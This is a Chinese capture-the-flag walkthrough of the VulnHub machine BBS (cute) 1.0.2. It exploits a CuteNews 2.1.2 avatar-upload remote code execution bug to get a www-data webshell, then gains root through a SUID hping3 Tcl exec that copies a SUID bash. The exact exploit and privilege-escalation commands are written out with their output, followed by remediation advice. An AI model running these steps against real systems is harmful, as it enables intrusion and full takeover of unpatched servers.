VulnHub BBS (cute): 1.0.2 通关记录|CuteNews 头像上传 RCE 与 hping3 Tcl 提权
靶机链接:BBS (cute): 1.0.2
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| BBS (cute): 1.0.2 | 192.168.1.112 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp、80/tcp、88/tcp、110/tcp、995/tcp | 确认主攻击面在 80 端口 Web |
| Web 指纹 | /index.php、/core/、/docs/、/uploads/,页脚 Powered by CuteNews 2.1.2 | 锁定 CuteNews 版本 |
| 初始访问 | 开放注册 + captcha.php 明文验证码 + 头像上传 PHP payload | 获得 www-data WebShell |
| 本地枚举 | sudo -l 与 SUID 文件发现 /usr/sbin/hping3 | 定位提权入口 |
| Root 提权 | hping3 Tcl exec 复制 SUID bash | 获得 root 命令执行 |
| Flag | /home/fox/user.txt、/root/root.txt | 完成通关 |
0x02 侦察与信息收集
1. 主机存活确认
命令:
ping -c 2 192.168.1.112
ip -br addr
结果:
目标在线,ICMP 无丢包;攻击机地址为 192.168.1.113/24。
2. 全端口扫描 (RustScan)
命令:
rustscan -a 192.168.1.112 -g --ulimit 5000 --batch-size 300 --timeout 3000
输出:
192.168.1.112 -> [22,80,88,110,995]
3. 服务识别 (Nmap)
命令:
nmap -Pn -sC -sV -p 22,80,88,110,995 -oN scans/nmap_tcp_services.txt 192.168.1.112
服务列表摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 7.9p1 Debian 10+deb10u2 |
80/tcp | HTTP | Apache httpd 2.4.38 (Debian),默认页 |
88/tcp | HTTP | nginx 1.14.2,返回 404 |
110/tcp | POP3 | Courier pop3d,支持 STLS、USER |
995/tcp | POP3S | Courier pop3d,证书 localhost / Courier Mail Server |
分析:
目标主机名解析为 cute。虽然 88/tcp 常见服务名是 Kerberos,但版本探测显示此端口实际运行 nginx HTTP 服务,因此后续按 Web 入口处理。
0x03 漏洞分析与利用
1. Web 应用识别
80 端口目录枚举发现 CuteNews 相关文件:
gobuster dir -u http://192.168.1.112/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 30 -x php,txt,html -o scans/gobuster_80_common.txt
关键发现:
| 路径 | 状态 | 说明 |
|---|---|---|
/index.php | 200 | CuteNews 登录入口 |
/search.php | 200 | 搜索页 |
/example.php | 200 | 示例集成页 |
/LICENSE.txt | 200 | CutePHP 许可证 |
/core/ | 301 | CuteNews 目录 |
/docs/ | 301 | CuteNews 文档目录 |
/uploads/ | 301 | 上传目录 |
登录页页脚泄露版本:
Powered by CuteNews 2.1.2
2. CuteNews 2.1.2 头像上传 RCE
本地 searchsploit 显示 CuteNews 2.1.2 存在公开 RCE:
searchsploit CuteNews
searchsploit -m 48800 -p
注册页开放,且 CAPTCHA 接口直接返回 HTML 文本:
curl -i http://192.168.1.112/captcha.php
响应摘要:
<html><body style="font-size: 42px; font-family: Arial, Tahoma, Serif;">udaruoug</body></html>
因此可以在同一 Session 中读取 CAPTCHA、注册普通用户、登录后上传带 PHP 代码的头像,触发命令执行。
验证命令:
python3 cutenews_212_avatar_rce.py http://192.168.1.112 -c id | tee scans/cutenews_rce_id.txt
输出:
[+] username: cnxelvuluk
[+] password: 4wxedob9m99hup
[+] webshell: http://192.168.1.112/uploads/avatar_cnxelvuluk_cnxelvuluk.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
结论: 通过 CuteNews 2.1.2 头像上传漏洞获得 www-data 权限下的命令执行。
0x04 权限提升
1. 本地枚举
通过 webshell 进行基础枚举:
python3 cutenews_webshell_cmd.py 'id; hostname; uname -a; cat /etc/os-release'
python3 cutenews_webshell_cmd.py 'sudo -l 2>&1'
python3 cutenews_webshell_cmd.py 'find / -perm -4000 -type f 2>/dev/null'
关键发现:
User www-data may run the following commands on cute:
(root) NOPASSWD: /usr/sbin/hping3 --icmp
同时,/usr/sbin/hping3 自身还带有 SUID 位:
-rwsr-sr-x 1 root root 156808 Sep 6 2014 /usr/sbin/hping3
2. hping3 Tcl 交互提权
hping3 启动后会进入 Tcl 解释器。虽然当前 shell 的真实 UID 仍是 www-data,但 hping3 进程的有效 UID 为 root,因此 Tcl exec 可以直接执行 root 权限命令:
python3 cutenews_webshell_cmd.py 'printf "puts [exec id]\n" | /usr/sbin/hping3 2>&1'
输出:
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
为方便后续操作,使用 root 权限复制一个 SUID bash:
python3 cutenews_webshell_cmd.py 'printf "exec cp /bin/bash /tmp/rootbash\nexec chmod 4755 /tmp/rootbash\nputs [exec ls -l /tmp/rootbash]\n" | /usr/sbin/hping3 2>&1'
输出:
-rwsr-xr-x 1 root root 1168776 Jun 8 17:18 /tmp/rootbash
随后即可通过 -p 保留特权执行 root 命令:
python3 cutenews_webshell_cmd.py '/tmp/rootbash -p -c "id; whoami"'
输出:
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
root
0x05 最终成果 (Final Flags)
User Flag
python3 cutenews_webshell_cmd.py '/tmp/rootbash -p -c "cat /home/fox/user.txt"'
dcb8189a0eaf7a690a67785a7299be60
Root Flag
python3 cutenews_webshell_cmd.py '/tmp/rootbash -p -c "cat /root/root.txt"'
0b18032c2d06d9e738ede9bc24795ff2
复盘总结
这台靶机的攻击链很短,核心问题有两个:
- CuteNews 2.1.2 暴露注册入口,且验证码接口直接以明文 HTML 返回验证码内容,导致头像上传 RCE 可被低权限用户自动化利用。
www-data具备sudo /usr/sbin/hping3 --icmp免密执行权限,同时hping3本身还设置了 SUID root 位,配合其 Tclexec能直接获得 root 命令执行。
防守侧需要重点处理三个位置:
- 下线或升级
CuteNews 2.1.2,关闭公开注册,删除 Web 根目录内可执行上传文件。 - 取消
www-data对hping3的 sudo 权限,移除hping3的 SUID 位。 - 审查
/uploads/、/tmp/rootbash和当前注册出的 CuteNews 账户,清理利用痕迹并轮换相关凭据。
附件下载
以下脚本为本次测试过程中编写并实际使用的辅助脚本,已按用途规范化文件名并放到站点静态目录。
| 文件 | 说明 |
|---|---|
| cutenews_212_avatar_rce.py | 自动读取明文 CAPTCHA、注册 CuteNews 用户、上传 PHP 头像并执行命令 |
| cutenews_webshell_cmd.py | 复用已生成的 CuteNews 头像 WebShell 执行后续本地枚举和提权命令 |